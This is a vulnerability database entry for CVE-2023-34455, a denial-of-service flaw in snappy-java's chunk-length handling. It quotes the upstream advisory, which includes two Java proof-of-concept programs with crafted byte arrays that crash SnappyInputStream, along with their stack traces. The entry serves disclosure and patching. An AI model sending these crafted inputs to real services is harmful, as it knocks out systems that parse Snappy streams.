Answer in brief
CVE-2023-34455 records a High severity (CVSS 7.5) vulnerability in snappy-java's unchecked chunk length leads to DoS. The current sources do not mark it as known exploited. The current feed maps org.xerial.snappy:snappy-java (maven). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps org.xerial.snappy:snappy-java (maven). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| org.xerial.snappy:snappy-javamaven | >=0 <1.1.10.1 | 1.1.10.1 |
Published upstream
Jun 15, 2023
Evidence: source:osv:source_dates:source-dates:recordSource modified
Sep 10, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Aug 7, 2026
## Summary Due to use of an unchecked chunk length, an unrecoverable fatal error can occur. ## Impact Denial of Service ## Description The code in the function [hasNextChunk](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388) in the file [SnappyInputStream.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java) checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk. ```java int readBytes = readNext(header, 0, 4); if (readBytes < 4) { return false; } int chunkSize = SnappyOutputStream.readInt(header, 0); if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) { ......... } // extend the compressed data buffer size if (compressed == null || chunkSize > compressed.length) { compressed = new byte[chunkSize]; } ``` In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error. ## Steps To Reproduce Compile and run the following code: ```java package org.example; import org.xerial.snappy.SnappyInputStream; import java.io.*; public class Main { public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; try { in.read(out); } catch (Exception ignored) { } } } ``` The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class: ``` Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12) ``` Alternatively - compile and run the following code: ```java package org.example; import org.xerial.snappy.SnappyInputStream; import java.io.*; public class Main { public static void main(String[] args) throws IOException { byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff}; SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data)); byte[] out = new byte[50]; in.read(out); } } ``` The program will crash with the following error (or similar): ``` Exception in thread "main" java.lang.NegativeArraySizeException: -1 at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12) ``` It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.
Quoted source text, attributed separately from HOL analysis.